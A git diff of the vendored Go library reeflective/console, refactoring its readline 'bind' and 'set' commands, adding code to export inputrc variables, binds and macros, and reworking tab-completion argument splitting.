[]string - - for i := 0; i < 5; i++ { - firstBinds = append(firstBinds, "\""+cmdBinds[i]+"\"") - } + // 3 - CREATE NEw BINDS ----------------------------------------------- - bindsStr := strings.Join(firstBinds, ", ") - fmt.Printf("%s can be found on %s ...\n", command, bindsStr) + // Bind actions. + // Some keymaps are aliases of others, so use either + // all equivalents or fallback to the relevant keymap. + if len(args) < 2 { + return errors.New("Usage: bind [-m keymap] [keyseq] [command]") + } - default: - var firstBinds []string + // The key sequence is an escaped string, so unescape it. + seq := inputrc.Unescape(args[0]) - for _, bind := range cmdBinds { - firstBinds = append(firstBinds, "\""+bind+"\"") - } + var found bool - bindsStr := strings.Join(firstBinds, ", ") - fmt.Printf("%s can be found on %s\n", command, bindsStr) + for command := range shell.Keymap.Commands() { + if command == args[1] { + found = true + break } - - return nil - - // case cmd.Flags().Changed("execute-rc"): - // return nil } - // Bind actions. - // Some keymaps are aliases of others, so use either all equivalents or fallback to the relevant keymap. - switch { - case cmd.Flags().Changed("unbind"): - command, _ := cmd.Flags().GetString("unbind") - - unbind := func(keymap string) { - binds := shell.Config.Binds[keymap] - if binds == nil { - return - } - - cmdBinds := make([]string, 0) - - for key, bind := range binds { - if bind.Action != command { - continue - } - - cmdBinds = append(cmdBinds, key) - } - - for _, key := range cmdBinds { - delete(binds, key) - } - } - - applyToKeymap(keymap, unbind) - - case cmd.Flags().Changed("remove"): - seq, _ := cmd.Flags().GetString("remove") - - removeBind := func(keymap string) { - binds := shell.Config.Binds[keymap] - if binds == nil { - return - } - - cmdBinds := make([]string, 0) - - for key := range binds { - if key != seq { - continue - } - - cmdBinds = append(cmdBinds, key) - } - - for _, key := range cmdBinds { - delete(binds, key) - } - } + if !found { + return fmt.Errorf("Unknown command: %s", args[1]) + } - applyToKeymap(keymap, removeBind) + // If the keymap doesn't exist, create it. + if shell.Config.Binds[keymap] == nil { + shell.Config.Binds[keymap] = make(map[string]inputrc.Bind) + } - case cmd.Flags().Changed("file"): - fileF, _ := cmd.Flags().GetString("file") + // Adjust some keymaps (aliases of each other). + bindkey := func(keymap string) { + shell.Config.Binds[keymap][seq] = inputrc.Bind{Action: args[1]} + } - file, err := os.Stat(fileF) - if err != nil { - return err - } + // (Bind the key sequence to the command) + applyToKeymap(keymap, bindkey) - if err = inputrc.ParseFile(file.Name(), shell.Config, shell.Opts...); err != nil { - return err - } + return nil + } - fmt.Printf("Read %s\n", file.Name()) - // case cmd.Flags().Changed("execute"): + return cmd +} - // Else if sufficient arguments, bind the key sequence to the command. - default: - if len(args) < 2 { - return errors.New("Usage: bind [-m keymap] [keyseq] [command]") - } +// +// Binding & Unbinding functions --------------------------------- +// - // The key sequence is an escaped string, so unescape it. - seq := inputrc.Unescape(args[0]) +func readFileConfig(sh *readline.Shell, cmd *cobra.Command, _ string) error { + fileF, _ := cmd.Flags().GetString("file") - var found bool + file, err := os.Stat(fileF) + if err != nil { + return err + } - for command := range shell.Keymap.Commands() { - if command == args[1] { - found = true - break - } - } + if err = inputrc.ParseFile(file.Name(), sh.Config, sh.Opts...); err != nil { + return err + } - if !found { - return fmt.Errorf("Unknown command: %s", args[1]) - } + fmt.Printf("Read and parsed %s\n", file.Name()) - // If the keymap doesn't exist, create it. - if shell.Config.Binds[keymap] == nil { - shell.Config.Binds[keymap] = make(map[string]inputrc.Bind) - } + return nil +} - // Adjust some keymaps (aliases of each other). - bindkey := func(keymap string) { - shell.Config.Binds[keymap][seq] = inputrc.Bind{Action: args[1]} - } +func unbindKeys(sh *readline.Shell, cmd *cobra.Command, keymap string) { + command, _ := cmd.Flags().GetString("unbind") - // (Bind the key sequence to the command.) - applyToKeymap(keymap, bindkey) + unbind := func(keymap string) { + binds := sh.Config.Binds[keymap] + if binds == nil { + return } - return nil - } - - // *** Completions *** - comps := carapace.Gen(cmd) - flagComps := make(carapace.ActionMap) + cmdBinds := make([]string, 0) - // Flags - flagComps["keymap"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action { - results := make([]string, 0) + for key, bind := range binds { + if bind.Action != command { + continue + } - for name := range shell.Config.Binds { - results = append(results, name) + cmdBinds = append(cmdBinds, key) } - return carapace.ActionValues(results...).Tag("keymaps").Usage("keymap") - }) - - functionsComps := carapace.ActionCallback(func(c carapace.Context) carapace.Action { - results := make([]string, 0) - - for name := range shell.Keymap.Commands() { - results = append(results, name) + for _, key := range cmdBinds { + delete(binds, key) } + } - return carapace.ActionValues(results...).Tag("commands").Usage("command") - }) - - bindSequenceComps := carapace.ActionCallback(func(ctx carapace.Context) carapace.Action { - // Get the keymap. - var keymap string - - if cmd.Flags().Changed("keymap") { - keymap, _ = cmd.Flags().GetString("keymap") - } + applyToKeymap(keymap, unbind) +} - if keymap == "" { - keymap = string(shell.Keymap.Main()) - } +func removeCommands(sh *readline.Shell, cmd *cobra.Command, keymap string) { + seq, _ := cmd.Flags().GetString("remove") - // Get the binds. - binds := shell.Config.Binds[keymap] + removeBind := func(keymap string) { + binds := sh.Config.Binds[keymap] if binds == nil { - return carapace.ActionValues().Usage("sequence") + return } - // Make a list of all sequences bound to each command, with descriptions. cmdBinds := make([]string, 0) - insertBinds := make([]string, 0) - for key, bind := range binds { - if bind.Action == "self-insert" { - insertBinds = append(insertBinds, "\""+inputrc.Escape(key)+"\"") - } else { - cmdBinds = append(cmdBinds, "\""+inputrc.Escape(key)+"\"") - cmdBinds = append(cmdBinds, bind.Action) + for key := range binds { + if key != seq { + continue } - } - - return carapace.Batch( - carapace.ActionValues(insertBinds...).Tag(fmt.Sprintf("self-insert binds (%s)", keymap)).Usage("sequence"), - carapace.ActionValuesDescribed(cmdBinds...).Tag(fmt.Sprintf("non-insert binds (%s)", keymap)).Usage("sequence"), - ).ToA() - }) - - flagComps["query"] = functionsComps - flagComps["unbind"] = functionsComps - flagComps["file"] = carapace.ActionFiles() - flagComps["remove"] = bindSequenceComps - - comps.FlagCompletion(flagComps) - - // Positional arguments - comps.PositionalCompletion( - carapace.ActionValues().Usage("sequence"), - functionsComps, - ) - - return cmd -} -func applyToKeymap(keymap string, bind func(keymap string)) { - switch keymap { - case "emacs", "emacs-standard": - for _, km := range []string{"emacs", "emacs-standard"} { - bind(km) + cmdBinds = append(cmdBinds, key) } - case "emacs-ctlx": - for _, km := range []string{"emacs-ctlx", "emacs-standard", "emacs"} { - bind(km) - } - case "emacs-meta": - for _, km := range []string{"emacs-meta", "emacs-standard", "emacs"} { - bind(km) - } - case "vi", "vi-move", "vi-command": - for _, km := range []string{"vi", "vi-move", "vi-command"} { - bind(km) + + for _, key := range cmdBinds { + delete(binds, key) } - default: - bind(keymap) } + + applyToKeymap(keymap, removeBind) } diff --git a/vendor/github.com/reeflective/console/commands/readline/commands.go b/vendor/github.com/reeflective/console/commands/readline/commands.go index e3ec1bf03b..cb89c6c650 100644 --- a/vendor/github.com/reeflective/console/commands/readline/commands.go +++ b/vendor/github.com/reeflective/console/commands/readline/commands.go @@ -1,8 +1,9 @@ package readline import ( - "github.com/reeflective/readline" "github.com/spf13/cobra" + + "github.com/reeflective/readline" ) // Commands returns a command named `readline`, with subcommands dedicated diff --git a/vendor/github.com/reeflective/console/commands/readline/completers.go b/vendor/github.com/reeflective/console/commands/readline/completers.go new file mode 100644 index 0000000000..135a121bec --- /dev/null +++ b/vendor/github.com/reeflective/console/commands/readline/completers.go @@ -0,0 +1,128 @@ +package readline + +/* + console - Closed-loop console application for cobra commands + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "strings" + + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + + "github.com/reeflective/readline" + "github.com/reeflective/readline/inputrc" +) + +func completeKeymaps(sh *readline.Shell, _ *cobra.Command) carapace.Action { + return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + results := make([]string, 0) + + for name := range sh.Config.Binds { + results = append(results, name) + } + + return carapace.ActionValues(results...).Tag("keymaps").Usage("keymap") + }) +} + +func completeBindSequences(sh *readline.Shell, cmd *cobra.Command) carapace.Action { + return carapace.ActionCallback(func(ctx carapace.Context) carapace.Action { + // Get the keymap. + var keymap string + + if cmd.Flags().Changed("keymap") { + keymap, _ = cmd.Flags().GetString("keymap") + } + + if keymap == "" { + keymap = string(sh.Keymap.Main()) + } + + // Get the binds. + binds := sh.Config.Binds[keymap] + if binds == nil { + return carapace.ActionValues().Usage("sequence") + } + + // Make a list of all sequences bound to each command, with descriptions. + var cmdBinds, insertBinds []string + + for key, bind := range binds { + val := inputrc.Escape(key) + + if bind.Action == "self-insert" { + insertBinds = append(insertBinds, val) + } else { + cmdBinds = append(cmdBinds, val) + cmdBinds = append(cmdBinds, bind.Action) + } + } + + // Build the list of bind sequences bompletions + completions := carapace.Batch( + carapace.ActionValues(insertBinds...).Tag(fmt.Sprintf("self-insert binds (%s)", keymap)).Usage("sequence"), + carapace.ActionValuesDescribed(cmdBinds...).Tag(fmt.Sprintf("non-insert binds (%s)", keymap)).Usage("sequence"), + ).ToA().Suffix("\"") + + // We're lucky and be particularly cautious about completion here: + // Look for the current argument and check whether or not it's quoted. + // If yes, only include quotes at the end of the inserted value. + // If no quotes, include them in both. + if strings.HasPrefix(ctx.Value, "\"") || ctx.Value == "" { + completions = completions.Prefix("\"") + } + + return completions + }) +} + +func completeCommands(sh *readline.Shell, _ *cobra.Command) carapace.Action { + return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + results := make([]string, 0) + + for name := range sh.Keymap.Commands() { + results = append(results, name) + } + + return carapace.ActionValues(results...).Tag("commands").Usage("command") + }) +} + +func applyToKeymap(keymap string, bind func(keymap string)) { + switch keymap { + case "emacs", "emacs-standard": + for _, km := range []string{"emacs", "emacs-standard"} { + bind(km) + } + case "emacs-ctlx": + for _, km := range []string{"emacs-ctlx", "emacs-standard", "emacs"} { + bind(km) + } + case "emacs-meta": + for _, km := range []string{"emacs-meta", "emacs-standard", "emacs"} { + bind(km) + } + case "vi", "vi-move", "vi-command": + for _, km := range []string{"vi", "vi-move", "vi-command"} { + bind(km) + } + default: + bind(keymap) + } +} diff --git a/vendor/github.com/reeflective/console/commands/readline/config.go b/vendor/github.com/reeflective/console/commands/readline/config.go new file mode 100644 index 0000000000..b435dc66db --- /dev/null +++ b/vendor/github.com/reeflective/console/commands/readline/config.go @@ -0,0 +1,54 @@ +package readline + +/* + console - Closed-loop console application for cobra commands + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "strings" +) + +// manages display of .inputrc-compliant listings/snippets. +type cfgBuilder struct { + buf *strings.Builder + names []string +} + +// Write writes a single inputrc line with the appropriate contextual indent. +func (cfg *cfgBuilder) Write(data []byte) (int, error) { + indent := strings.Repeat(" ", 4*len(cfg.names)) + + iLen, _ := cfg.buf.Write([]byte(indent)) + bLen, err := cfg.buf.Write(data) + + return iLen + bLen, err +} + +func (cfg *cfgBuilder) newCond(name string) { + cfg.Write([]byte(fmt.Sprintf("$if %s\n", name))) + cfg.names = append(cfg.names, name) +} + +func (cfg *cfgBuilder) endCond() { + if len(cfg.names) == 0 { + return + } + + cfg.names = cfg.names[:len(cfg.names)-1] + cfg.Write([]byte("$endif\n")) +} diff --git a/vendor/github.com/reeflective/console/commands/readline/export.go b/vendor/github.com/reeflective/console/commands/readline/export.go new file mode 100644 index 0000000000..67f70e9ff2 --- /dev/null +++ b/vendor/github.com/reeflective/console/commands/readline/export.go @@ -0,0 +1,389 @@ +package readline + +/* + console - Closed-loop console application for cobra commands + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "sort" + "strings" + + "github.com/spf13/cobra" + + "github.com/reeflective/readline" + "github.com/reeflective/readline/inputrc" +) + +const ( + printOn = "on" + printOff = "off" +) + +// listVars prints the readline global option variables in human-readable format. +func listVars(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command) { + var vars map[string]interface{} + + // Apply other filters to our current list of vars. + if cmd.Flags().Changed("changed") { + vars = cfgChanged.Vars + } else { + vars = shell.Config.Vars + } + + if len(vars) == 0 { + return + } + + var variables = make([]string, len(shell.Config.Vars)) + + for variable := range shell.Config.Vars { + variables = append(variables, variable) + } + + sort.Strings(variables) + + fmt.Fprintln(buf) + fmt.Fprintln(buf, "======= Global Variables =========") + fmt.Fprintln(buf) + + for _, variable := range variables { + value := shell.Config.Vars[variable] + if value == nil || variable == "" { + continue + } + + fmt.Fprintf(buf, "%s is set to `%v'\n", variable, value) + } +} + +// listVarsRC returns the readline global options, split according to which are +// supported by which library, and output in .inputrc compliant format. +func listVarsRC(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command) { + var vars map[string]interface{} + + // Apply other filters to our current list of vars. + if cmd.Flags().Changed("changed") { + vars = cfgChanged.Vars + } else { + vars = shell.Config.Vars + } + + if len(vars) == 0 { + return + } + + // Include print all legacy options. + // Filter them in a separate groups only if NOT being used with --app/--lib + if !cmd.Flags().Changed("app") && !cmd.Flags().Changed("lib") { + var legacy []string + for variable := range filterLegacyVars(vars) { + legacy = append(legacy, variable) + } + + sort.Strings(legacy) + + fmt.Fprintln(buf, "# General/legacy Options (generated from reeflective/readline)") + + for _, variable := range legacy { + value := shell.Config.Vars[variable] + var printVal string + + if on, ok := value.(bool); ok { + if on { + printVal = "on" + } else { + printVal = "off" + } + } else { + printVal = fmt.Sprintf("%v", value) + } + + fmt.Fprintf(buf, "set %s %s\n", variable, printVal) + } + + // Now we print the App/lib specific. + var reef []string + + for variable := range filterAppLibVars(vars) { + reef = append(reef, variable) + } + + sort.Strings(reef) + + fmt.Fprintln(buf) + fmt.Fprintln(buf, "# reeflective/readline specific options (generated)") + fmt.Fprintln(buf, "# The following block is not implemented in GNU C Readline.") + buf.newCond("reeflective") + + for _, variable := range reef { + value := shell.Config.Vars[variable] + var printVal string + + if on, ok := value.(bool); ok { + if on { + printVal = printOn + } else { + printVal = printOff + } + } else { + printVal = fmt.Sprintf("%v", value) + } + + fmt.Fprintf(buf, "set %s %s\n", variable, printVal) + } + + buf.endCond() + + return + } + + fmt.Fprintln(buf, "# General options (legacy and reeflective)") + + var all []string + for variable := range vars { + all = append(all, variable) + } + sort.Strings(all) + + for _, variable := range all { + value := shell.Config.Vars[variable] + var printVal string + + if on, ok := value.(bool); ok { + if on { + printVal = "on" + } else { + printVal = "off" + } + } else { + printVal = fmt.Sprintf("%v", value) + } + + fmt.Fprintf(buf, "set %s %s\n", variable, printVal) + } +} + +// listBinds prints the bind sequences for a given keymap, +// according to command filter flags, in human-readable format. +func listBinds(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command, keymap string) { + var binds map[string]inputrc.Bind + + // Apply other filters to our current list of vars. + if cmd.Flags().Changed("changed") { + binds = cfgChanged.Binds[keymap] + } else { + binds = shell.Config.Binds[keymap] + } + + // Get all the commands, used to sort the displays. + var commands = make([]string, len(shell.Keymap.Commands())) + for command := range shell.Keymap.Commands() { + commands = append(commands, command) + } + + sort.Strings(commands) + + query, _ := cmd.Flags().GetString("query") + mustMatchQuery := query != "" && cmd.Flags().Changed("query") + + // Make a list of all sequences bound to each command. + allBinds := make(map[string][]string) + + for _, command := range commands { + for key, bind := range binds { + if bind.Action != command { + continue + } + + // If we are querying a specific command + if bind.Action != query && mustMatchQuery { + continue + } + + commandBinds := allBinds[command] + commandBinds = append(commandBinds, inputrc.Escape(key)) + allBinds[command] = commandBinds + } + } + + if len(commands) == 0 { + return + } + + fmt.Fprintln(buf) + fmt.Fprintf(buf, "===== Command Binds (%s) =======\n", keymap) + fmt.Fprintln(buf) + + for _, command := range commands { + commandBinds := allBinds[command] + sort.Strings(commandBinds) + + switch { + case len(commandBinds) == 0: + case len(commandBinds) > 5: + var firstBinds []string + + for i := 0; i < 5; i++ { + firstBinds = append(firstBinds, "\""+commandBinds[i]+"\"") + } + + bindsStr := strings.Join(firstBinds, ", ") + fmt.Fprintf(buf, "%s can be found on %s ...\n", command, bindsStr) + + default: + var firstBinds []string + + for _, bind := range commandBinds { + firstBinds = append(firstBinds, "\""+bind+"\"") + } + + bindsStr := strings.Join(firstBinds, ", ") + fmt.Fprintf(buf, "%s can be found on %s\n", command, bindsStr) + } + } +} + +// listBindsRC prints the bind sequences for a given keymap, +// according to command filter flags, in .inputrc compliant format. +func listBindsRC(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command, keymap string) { + var binds map[string]inputrc.Bind + selfInsert, _ := cmd.Flags().GetBool("self-insert") + + // Apply other filters to our current list of vars. + if cmd.Flags().Changed("changed") { + binds = cfgChanged.Binds[keymap] + } else { + binds = shell.Config.Binds[keymap] + } + + if len(binds) == 0 { + return + } + + // Get all the commands, used to sort the displays. + var commands = make([]string, len(shell.Keymap.Commands())) + for command := range shell.Keymap.Commands() { + commands = append(commands, command) + } + + sort.Strings(commands) + + // Make a list of all sequences bound to each command. + allBinds := make(map[string][]string) + + for _, command := range commands { + for key, bind := range binds { + if bind.Action != command { + continue + } + + commandBinds := allBinds[command] + commandBinds = append(commandBinds, inputrc.Escape(key)) + allBinds[command] = commandBinds + } + } + + fmt.Fprintln(buf) + fmt.Fprintln(buf, "# Command binds (generated from reeflective/readline)") + fmt.Fprintf(buf, "set keymap %s\n\n", keymap) + + for _, command := range commands { + commandBinds := allBinds[command] + sort.Strings(commandBinds) + + if command == "self-insert" && !selfInsert { + continue + } + + if len(commandBinds) > 0 { + for _, bind := range commandBinds { + fmt.Fprintf(buf, "\"%s\": %s\n", bind, command) + } + } + } +} + +// listMacros prints the recorded/existing macros for a given keymap, in human-readable format. +func listMacros(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command, keymap string) { + var binds map[string]inputrc.Bind + + // Apply other filters to our current list of vars. + if cmd.Flags().Changed("changed") { + binds = cfgChanged.Binds[keymap] + } else { + binds = shell.Config.Binds[keymap] + } + + var macroBinds []string + + for keys, bind := range binds { + if bind.Macro { + macroBinds = append(macroBinds, inputrc.Escape(keys)) + } + } + + if len(macroBinds) == 0 { + return + } + + sort.Strings(macroBinds) + + fmt.Fprintln(buf) + fmt.Fprintf(buf, "====== Macros (%s) ======\n", keymap) + fmt.Fprintln(buf) + + for _, key := range macroBinds { + action := inputrc.Escape(binds[inputrc.Unescape(key)].Action) + fmt.Printf("%s outputs %s\n", key, action) + } +} + +// listMacros prints the recorded/existing macros for a given keymap, in .inputrc compliant format. +func listMacrosRC(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command, keymap string) { + var binds map[string]inputrc.Bind + + // Apply other filters to our current list of vars. + if cmd.Flags().Changed("changed") { + binds = cfgChanged.Binds[keymap] + } else { + binds = shell.Config.Binds[keymap] + } + + var macroBinds []string + + for keys, bind := range binds { + if bind.Macro { + macroBinds = append(macroBinds, inputrc.Escape(keys)) + } + } + + if len(macroBinds) == 0 { + return + } + + sort.Strings(macroBinds) + + fmt.Fprintln(buf) + fmt.Fprintln(buf, "# Macro binds (generated from reeflective/readline)") + fmt.Fprintf(buf, "set keymap %s\n\n", keymap) + + for _, key := range macroBinds { + action := inputrc.Escape(binds[inputrc.Unescape(key)].Action) + fmt.Fprintf(buf, "\"%s\": \"%s\"\n", key, action) + } +} diff --git a/vendor/github.com/reeflective/console/commands/readline/set.go b/vendor/github.com/reeflective/console/commands/readline/set.go index 92d2739ea2..7f8f49b6a0 100644 --- a/vendor/github.com/reeflective/console/commands/readline/set.go +++ b/vendor/github.com/reeflective/console/commands/readline/set.go @@ -3,11 +3,23 @@ package readline import ( "errors" "strconv" + "strings" - "github.com/reeflective/readline" "github.com/rsteube/carapace" "github.com/rsteube/carapace/pkg/style" "github.com/spf13/cobra" + "golang.org/x/exp/maps" + "golang.org/x/exp/slices" + + "github.com/reeflective/readline" + "github.com/reeflective/readline/inputrc" +) + +var ( + // We here must assume that all bind changes during the lifetime + // of the binary are all made by a single readline application. + // This config only stores the vars/binds that have been changed. + cfgChanged = inputrc.NewConfig() ) // Set returns a command named `set`, for manipulating readline global options. @@ -45,7 +57,11 @@ func Set(shell *readline.Shell) *cobra.Command { } // Set the option. - return shell.Config.Set(args[0], value) + if err = shell.Config.Set(args[0], value); err != nil { + return err + } + + return cfgChanged.Set(args[0], value) }, } @@ -61,11 +77,20 @@ func Set(shell *readline.Shell) *cobra.Command { } argComp := func(c carapace.Context) carapace.Action { - val := c.Args[len(c.Args)-1] + val := strings.TrimSpace(c.Args[len(c.Args)-1]) option := shell.Config.Get(val) if option == nil { - return carapace.ActionValues() + return carapace.ActionMessage("No var named %v", option) + } + + switch val { + case "cursor-style": + return carapace.ActionValues("block", "beam", "underline", "blinking-block", "blinking-underline", "blinking-beam", "default") + case "editing-mode": + return carapace.ActionValues("vi", "emacs") + case "keymap": + return completeKeymaps(shell, cmd) } switch option.(type) { @@ -73,8 +98,8 @@ func Set(shell *readline.Shell) *cobra.Command { return carapace.ActionValues("on", "off", "true", "false").StyleF(style.ForKeyword) case int: return carapace.ActionValues().Usage("option value (int)") - default: - carapace.ActionValues().Usage("option value (string)") + case string: + return carapace.ActionValues().Usage("option value (string)") } return carapace.ActionValues().Usage("option value") @@ -87,3 +112,59 @@ func Set(shell *readline.Shell) *cobra.Command { return cmd } + +// Returns the subset of inputrc variables that are specific +// to this library and application/binary. +func filterAppLibVars(cfgVars map[string]interface{}) map[string]interface{} { + appVars := make(map[string]interface{}) + + defCfg := inputrc.DefaultVars() + defVars := maps.Keys(defCfg) + + for name, val := range cfgVars { + if slices.Contains(defVars, name) { + continue + } + + appVars[name] = val + } + + return appVars +} + +// Returns the subset of inputrc variables that are specific +// to this library and application/binary. +func filterLegacyVars(cfgVars map[string]interface{}) map[string]interface{} { + appVars := make(map[string]interface{}) + + defCfg := inputrc.DefaultVars() + defVars := maps.Keys(defCfg) + + for name, val := range cfgVars { + if !slices.Contains(defVars, name) { + continue + } + + appVars[name] = val + } + + return appVars +} + +// Filters out all configuration variables that have not been changed. +func filterChangedVars(allVars map[string]interface{}) map[string]interface{} { + if allVars == nil { + return cfgChanged.Vars + } + + appVars := make(map[string]interface{}) + defVars := maps.Keys(appVars) + + for name, val := range allVars { + if slices.Contains(defVars, name) { + appVars[name] = val + } + } + + return appVars +} diff --git a/vendor/github.com/reeflective/console/tab-completer.go b/vendor/github.com/reeflective/console/completer.go similarity index 59% rename from vendor/github.com/reeflective/console/tab-completer.go rename to vendor/github.com/reeflective/console/completer.go index 2da490bb65..ad65fadcbd 100644 --- a/vendor/github.com/reeflective/console/tab-completer.go +++ b/vendor/github.com/reeflective/console/completer.go @@ -5,13 +5,16 @@ import ( "errors" "fmt" "os" + "regexp" "strings" + "unicode" "unicode/utf8" - "github.com/reeflective/readline" "github.com/rsteube/carapace" "github.com/rsteube/carapace/pkg/style" "github.com/rsteube/carapace/pkg/xdg" + + "github.com/reeflective/readline" ) func (c *Console) complete(line []rune, pos int) readline.Completions { @@ -19,9 +22,7 @@ func (c *Console) complete(line []rune, pos int) readline.Completions { // Split the line as shell words, only using // what the right buffer (up to the cursor) - rbuffer := line[:pos] - args, prefix := splitArgs(rbuffer) - args = sanitizeArgs(rbuffer, args) + args, prefixComp, prefixLine := splitArgs(line, pos) // Prepare arguments for the carapace completer // (we currently need those two dummies for avoiding a panic). @@ -34,14 +35,13 @@ func (c *Console) complete(line []rune, pos int) readline.Completions { raw := make([]readline.Completion, len(values)) for idx, val := range values { - value := readline.Completion{ - Value: val.Value, + raw[idx] = readline.Completion{ + Value: unescapeValue(prefixComp, prefixLine, val.Value), Display: val.Display, Description: val.Description, Style: val.Style, Tag: val.Tag, } - raw[idx] = value } // Assign both completions and command/flags/args usage strings. @@ -54,68 +54,29 @@ func (c *Console) complete(line []rune, pos int) readline.Completions { comps = comps.NoSpace([]rune(meta.Nospace.String())...) } + // Other status/error messages + for _, msg := range meta.Messages.Get() { + comps = comps.Merge(readline.CompleteMessage(msg)) + } + // If we have a quote/escape sequence unaccounted // for in our completions, add it to all of them. - if prefix != "" { - comps = comps.Prefix(prefix) - } + comps = comps.Prefix(prefixComp) + comps.PREFIX = prefixLine return comps } -func splitArgs(line []rune) (args []string, prefix string) { - // Split the line as shellwords, return them if all went fine. - args, remain, err := splitCompWords(string(line)) - if err == nil { - return args, remain - } - - // If we had an error, it's because we have an unterminated quote/escape sequence. - // In this case we split the remainder again, as the completer only ever considers - // words as space-separated chains of characters. - if errors.Is(err, errUnterminatedDoubleQuote) { - remain = strings.Trim(remain, "\"") - prefix = "\"" - } else if errors.Is(err, errUnterminatedSingleQuote) { - remain = strings.Trim(remain, "'") - prefix = "'" - } - - args = append(args, strings.Split(remain, " ")...) - - return -} - -func sanitizeArgs(rbuffer []rune, args []string) (sanitized []string) { - // Like in classic system shells, we need to add an empty - // argument if the last character is a space: the args - // returned from the previous call don't account for it. - if strings.HasSuffix(string(rbuffer), " ") || len(args) == 0 { - args = append(args, "") - } else if strings.HasSuffix(string(rbuffer), "\n") { - args = append(args, "") - } - - if len(args) == 0 { - return - } - - sanitized = args[:len(args)-1] - last := args[len(args)-1] - - // The last word should not comprise newlines. - last = strings.ReplaceAll(last, "\n", " ") - last = strings.ReplaceAll(last, "\\ ", " ") - sanitized = append(sanitized, last) - - return sanitized -} - // Regenerate commands and apply any filters. func (c *Console) completeCommands(menu *Menu) func() { commands := func() { - menu.resetCommands() - c.hideFilteredCommands() + cmd := menu.Command + if menu.cmds != nil { + cmd = menu.cmds() + } + + menu.resetPreRun() + menu.hideFilteredCommands(cmd) } return commands @@ -163,6 +124,109 @@ func (c *Console) defaultStyleConfig() { style.Set("carapace.FlagOptArg", "bright-white") } +// splitArgs splits the line in valid words, prepares them in various ways before calling +// the completer with them, and also determines which parts of them should be used as +// prefixes, in the completions and/or in the line. +func splitArgs(line []rune, pos int) (args []string, prefixComp, prefixLine string) { + line = line[:pos] + + // Remove all colors from the string + line = []rune(strip(string(line))) + + // Split the line as shellwords, return them if all went fine. + args, remain, err := splitCompWords(string(line)) + + // We might have either no error and args, or no error and + // the cursor ready to complete a new word (last character + // in line is a space). + // In some of those cases we append a single dummy argument + // for the completer to understand we want a new word comp. + mustComplete, args, remain := mustComplete(line, args, remain, err) + if mustComplete { + return sanitizeArgs(args), "", remain + } + + // But the completion candidates themselves might need slightly + // different prefixes, for an optimal completion experience. + arg, prefixComp, prefixLine := adjustQuotedPrefix(remain, err) + + // The remainder is everything following the open charater. + // Pass it as is to the carapace completion engine. + args = append(args, arg) + + return sanitizeArgs(args), prefixComp, prefixLine +} + +func mustComplete(line []rune, args []string, remain string, err error) (bool, []string, string) { + dummyArg := "" + + // Empty command line, complete the root command. + if len(args) == 0 || len(line) == 0 { + return true, append(args, dummyArg), remain + } + + // If we have an error, we must handle it later. + if err != nil { + return false, args, remain + } + + lastChar := line[len(line)-1] + + // No remain and a trailing space means we want to complete + // for the next word, except when this last space was escaped. + if remain == "" && unicode.IsSpace(lastChar) { + if strings.HasSuffix(string(line), "\\ ") { + return true, args, args[len(args)-1] + } + + return true, append(args, dummyArg), remain + } + + // Else there is a character under the cursor, which means we are + // in the middle/at the end of a posentially completed word. + return true, args, remain +} + +func adjustQuotedPrefix(remain string, err error) (arg, comp, line string) { + arg = remain + + switch { + case errors.Is(err, errUnterminatedDoubleQuote): + comp = "\"" + line = comp + arg + case errors.Is(err, errUnterminatedSingleQuote): + comp = "'" + line = comp + arg + case errors.Is(err, errUnterminatedEscape): + arg = strings.ReplaceAll(arg, "\\", "") + } + + return arg, comp, line +} + +// sanitizeArg unescapes a restrained set of characters. +func sanitizeArgs(args []string) (sanitized []string) { + for _, arg := range args { + arg = replacer.Replace(arg) + sanitized = append(sanitized, arg) + } + + return sanitized +} + +// when the completer has returned us some completions, we sometimes +// needed to post-process them a little before passing them to our shell. +func unescapeValue(prefixComp, prefixLine, val string) string { + quoted := strings.HasPrefix(prefixLine, "\"") || + strings.HasPrefix(prefixLine, "'") + + if quoted { + val = strings.ReplaceAll(val, "\\ ", " ") + } + + return val +} + // split has been copied from go-shellquote and slightly modified so as to also // return the remainder when the parsing failed because of an unterminated quote. func splitCompWords(input string) (words []string, remainder string, err error) { @@ -194,8 +258,7 @@ func splitCompWords(input string) (words []string, remainder string, err error) word, input, err = splitCompWord(input, &buf) if err != nil { - remainder = input - return + return words, word + input, err } words = append(words, word) @@ -299,3 +362,18 @@ double: done: return buf.String(), input, nil } + +const ansi = "[\u001B\u009B][[\\]()#;?]*(?:(?:(?:[a-zA-Z\\d]*(?:;[a-zA-Z\\d]*)*)?\u0007)|(?:(?:\\d{1,4}(?:;\\d{0,4})*)?[\\dA-PRZcf-ntqry=><~]))" + +var re = regexp.MustCompile(ansi) + +// strip removes all ANSI escaped color sequences in a string. +func strip(str string) string { + return re.ReplaceAllString(str, "") +} + 